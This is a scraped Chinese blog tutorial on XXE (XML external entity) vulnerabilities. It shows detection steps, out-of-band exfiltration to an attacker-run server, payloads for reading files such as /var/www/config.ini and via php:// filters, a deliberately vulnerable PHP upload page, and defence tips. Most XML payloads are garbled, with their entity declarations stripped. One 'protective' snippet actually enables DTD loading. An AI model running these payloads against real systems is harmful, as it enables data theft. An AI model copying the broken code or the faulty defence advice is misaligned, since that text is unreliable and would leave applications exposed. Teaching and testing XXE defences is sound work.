赞
踩
原标题:【常见漏洞篇】深入浅出之XXE漏洞的挖掘方法与防护
XXE漏洞的挖掘方法与防护,要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成
你的Web应用是否存在XXE漏洞?
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它
0 1
简单挖掘方法
XXE漏洞详解 XXE漏洞是什么 XXE漏洞如何防范
提交POST请求XML文件
提交一个POST请求,请求头加上Content-type:application/xml
同时添加测试代码
< test>cat test>
通过OOB(Out-of-band)方法远程访问文件测试
1)自建一个网站开启80端口
2)在测试网站提交payload,如下
<?xml version="1.0" encoding="utf-8"?>]>< GeneralSearch>&dtgmlf6ent; GeneralSearch>
3)查看网站返回内容
4)查看自建服务器访问日志,是否有DTD文件等请求
0 2
确认XXE漏洞
出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下:
请求:
响应:
观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求
修改后的请求和响应:
如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。由此,我们可以确认,这个应用程序存在XXE漏洞
< !ENTITY% payload"">
%payload;
%dtd;
%send;]>
< root> root>
0 3
寻找XXE
1)检测xml是否被解析
< Prod>
< Prod>
< Type>abc type>
< name>Bugcrowd name>
< id>21 id>
Prod>
Prod>
2)检测是否支持外部实体解析
]>
< Prod>
< Prod>
< Type>abc type>
< name>Bugcrowd name>
< id>&xxe id>
Prod>
Prod>
0 4
xxe 注入利用步骤
在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。
1)测试是否允许外部实体引用
]>
< root>
< data>&var; data>
root>
2)任意文件读取
]>
< root>
< data>&var; data>
root>
3)通过PHP://过滤器读取
]>
< root>
< data>&var; data>
root>
4)xxe注入测试代码
xxe.php是一个存在XXE注入漏洞的简单页面
< html>
< body>
< h1>XXE Example h1>
< formmethod= "post"enctype= "multipart/form-data">
< labelfor= "file">XML File: label>
< inputtype= "file"name= "file"id= "file">
< inputtype= "submit"name= "submit"value= "Upload">
form>
< h1>Result h1>
if( isset($_FILES[ "file"])){
$doc = newDOMDocument;
$doc->validateOnParse = true;
$doc->Load($_FILES[ "file"][ "tmp_name"]);
$tags = $doc->getElementsByTagName( "data");
foreach($tags as $tag) {
echo"
". $tag->nodeValue . "n";
}
} else{
echo"
}
?>
body>
html>
xxe自动化注入检查工具
https://github.com/enjoiz/XXEinjector
0 5
XXE防御
1)使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader( true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance;
dbf.setExpandEntityReferences( false);
Python:
fromlxml importetree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities= False))
2)过滤用户提交的XML数据
对变量:!ENTITY,或者,SYSTEM和PUBLIC进行过滤.
例如,让我们来试着定义一个新的自定义实体“harmless”。
]>
现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。
]>
< results>
< result>This result is &harmless; result>
results>
XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:
This result iscompletely harmless
下面的这个就肯定不是无害的输入:
"file:///var/www/config.ini">]>
< results>
< result>&harmless; result>
results>
3)检查所使用的底层xml解析库,默认禁止外部实体的解析
4)使用第三方应用代码及时升级补丁
5)同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数
libxml_disable_entity_loader( true);
?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml, 'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = newDOMDocument;
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
责任编辑:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。